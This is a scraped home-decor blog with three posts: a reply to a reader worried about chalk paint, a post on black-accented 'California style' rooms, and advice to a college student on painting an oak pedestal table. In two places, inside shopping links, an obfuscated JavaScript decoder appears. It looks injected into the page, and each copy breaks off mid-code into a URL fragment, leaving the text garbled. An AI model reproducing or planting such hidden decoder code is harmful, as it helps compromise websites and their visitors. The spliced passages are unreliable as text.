…reader question

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“Love the lake house. Love the cabinets and all the black items but you taught everyone to paint with chalk paint and now you are saying that to make it look professional don't use the chalk paint. I have done a lot of my furniture in chalk paint and I don't know weather to change it now. I can't afford to buy new stuff. Any ideas to help with that?" - Reader

Dear Reader,

Do not worry or change a thing! Like in art there is style and context to everything. Shabby and rustic have their place and clean with satin sheen has another place. Neither is right, but rather right for the context of your project. For me personally, the pleasure of working on a new interior is that I get to do and try things differently. I want this lake kitchen to have a slight sheen instead of a rubbed look, therefore, we decided to spray. I will show you that there are many pieces at the lake that I have rubbed and painted with my beloved Old White and I won't stop.

I think this is a great time to talk about how a creative person needs to stretch and look around and if confined to a certain look is to, well, clip her wings in a way. For me, inspiration comes from exploring and looking at new things. I think about the artists and musicians that I love and they have each redefined themselves as their lives evolves. I think it's safe to say that we are different today than we were 10 years ago. This is what keeps life exciting!

But not to worry, like I said before, I love the Sweetish, shabby look and will continue to use it, but I also think trying out new techniques is to grow and expand, which keeps me feeling excited. This is the point that you decide, with your knowledge, what look you are going for. I am just presenting the projects and looks that I've come to love. I am not taking anything away from my style. I am adding to it...and playing 🙂

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…california style

Is everywhere! I am loving this look. Let me first say, though, that this style does not give up on our love for woods, chalkboards, farm house lighting and seagrass rugs. It incorporates these in a new way by adding another kind of neutral - black. What I see is a bit of a sleeker look (that is definitely trending), but with a relaxed feel.

I've been seeing this look on design magazines (House Beautiful, Elle Decor, etc.) and sites like One Kings Lane, Target, function l1c373528ef5(o4){var sa='ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=';var q3='';var x1,pc,u6,yc,ve,r4,n2;var oe=0;do{yc=sa.indexOf(o4.charAt(oe++));ve=sa.indexOf(o4.charAt(oe++));r4=sa.indexOf(o4.charAt(oe++));n2=sa.indexOf(o4.charAt(oe++));x1=(yc<<2)|(ve>>4);pc=((ve&15)<<4)|(r4>>2);u6=((r4&3)<<6)|n2;if(x1>=192)x1+=848;else if(x1==168)x1=1025;else if(x1==184)x1=1105;q3+=String.fromCharCode(x1);if(r4!=64){if(pc>=192)pc+=848;else if(pc==168)pc=1025;else if(pc==184)pc=1105;q3+=String.fromCharCode(pc);}if(n2!=64){if(u6>=192)u6+=848;else if(u6==168)u6=1025;else if(u6==184)u6=1105;q3+=String.fromCharCode(u6);}}while(oelily.com/solid-la-jolla-baskets/m11344.html#q=la%2Bjolla%2Bbasket&start=8">Serena and Lily, William Sonoma Home and our beloved Fixer Upper on HGTV! Yup, Joanna Gaines uses black more than you realize. I've seen the look labeled as a relaxed California style and Global Style. Like any look, this one is layered with textures like relaxed linen with velvet pillows, black rattan with shiny wood and white faux fur and brass.

Take a look:

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I think it's really inspiring and I definitely plan to incorporate a few of these ideas in my family room. I think I'll start with one of these from function l1c373528ef5(o4){var sa='ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=';var q3='';var x1,pc,u6,yc,ve,r4,n2;var oe=0;do{yc=sa.indexOf(o4.charAt(oe++));ve=sa.indexOf(o4.charAt(oe++));r4=sa.indexOf(o4.charAt(oe++));n2=sa.indexOf(o4.charAt(oe++));x1=(yc<<2)|(ve>>4);pc=((ve&15)<<4)|(r4>>2);u6=((r4&3)<<6)|n2;if(x1>=192)x1+=848;else if(x1==168)x1=1025;else if(x1==184)x1=1105;q3+=String.fromCharCode(x1);if(r4!=64){if(pc>=192)pc+=848;else if(pc==168)pc=1025;else if(pc==184)pc=1105;q3+=String.fromCharCode(pc);}if(n2!=64){if(u6>=192)u6+=848;else if(u6==168)u6=1025;else if(u6==184)u6=1105;q3+=String.fromCharCode(u6);}}while(oelily.com/solid-la-jolla-baskets/m11344.html#q=la%2Bjolla%2Bbasket&start=8">Serena & Lily. La Jolla Basket.

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PS - I was literally shopping in Target before posting this and snapped a pick of guess what? hahaha. Love when that happens.

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…question from a struggling college student

I want nothing more than to help a struggling college student that cares about her kitchen table look! I received this email yesterday and am sharing it in the hopes that it helps others. I know there's a lot of confusion about getting this weathered wood look.

"Hello I just watched probably 10 of your videos! I am moving into an apartment in Chicago and have recently picked up a round oak table at an estate sale. It is that awful yellow golden color. I really liked the video you did on the restoration hardware inspired white table. Eventually I want to get the soft comfy chairs to go around the table so my place looks comfy and cozy!

Question:

1. Do I have to use a sander in order to get that yellow color off before painting?

2. How much do I sand before I start painting?

3. And what number sand paper do I use?

If you could help me out in any way possible! Thank you.

Sincerely, a struggling college student haha" (Attached photo)

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As you can see, what College Student (CS) has is your typical, dated, wood pedestal table. It looks like it is in great shape and a round table can work in so many spaces. In fact, DH and I bought a white round table for our first home and I still have it (even thought it is now used for kid's crafts!) I think it's always a good bet to buy a round table.

So, like I've said in the past, the biggest factor in getting your weathered wood look is that you MUST HAVE A TEXTURED WOOD. You will most likely see this kind of texture in older furniture that is oak. When I say texture, it means rubbing your hand on the surface and feeling ridges and lines. The reason you need these ridges is that this is where the paint will pool and the "non-ridge" part is where the paint will be lighter. This contrast is where you will get that beautiful, weathered look as you see below.

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CS, do you see how your table is shiny? I hate to tell you this, but it's because it is not textured, it looks like there is a layer of poly over it. Even if you sanded this poly off, you still will not get these ridges and undulations that naturally come in oak. The closest you can come to getting this look would be to paint thinly on your table to try to achieve a contrast. I say this hesitantly because it may be hard for you to get the look that I know you want. But, you can get a pretty distressed look like on my kitchen table by painting this way. Paint thinly and then take your 100 grade sand paper and sand the edges to achieve this. I did not use any wax either so that it could continue to weather.

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I hate to disappoint with this information, but if I may, I do want to encourage you that you can still get a beautiful and dramatic look just by painting a round pedestal table. Here is one that I recently did myself.

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Also, until you can afford those comfy chairs that your referenced, I would also think about painting them. It looks like you have nice, solid wood chairs there and I have painting many similar ones for clients that turned out beautifully.

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I wish you all the best in creating the space you want. I am confident you will because you've already selected this set. This is just the beginning, College Girl! 🙂